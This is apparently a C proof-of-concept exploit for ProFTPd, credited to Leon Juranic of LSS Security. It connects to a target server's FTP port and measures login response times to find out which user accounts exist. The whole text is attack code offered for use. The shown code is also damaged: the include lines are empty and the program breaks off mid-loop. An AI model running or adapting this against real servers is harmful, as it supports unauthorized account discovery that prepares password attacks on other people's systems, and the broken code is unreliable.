// ProFTPd remote users discovery based on code execution time - POC exploit // Coded by Leon Juranic // http://www.lss.hr #include #include #include #include #include #define PORT 21 #define PROBE 8 main (int argc, char **argv) { int sock,n,y; long dist,stat=0; struct sockaddr_in sin; char buf[1024], buf2[1024]; struct timeval tv, tv2; struct timezone tz, tz2; printf ("Proftpd remote users discovery exploit\n" " Coded by Leon / LSS Security\n" ">-------------------------------------<\n"); if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); } sock = socket (AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons (PORT); sin.sin_addr.s_addr = inet_addr (argv[1]); bzero (sin.sin_zero,8); connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr)); printf ("Login time: "); n = read (sock,buf2, sizeof(buf2)); for (y=0;y

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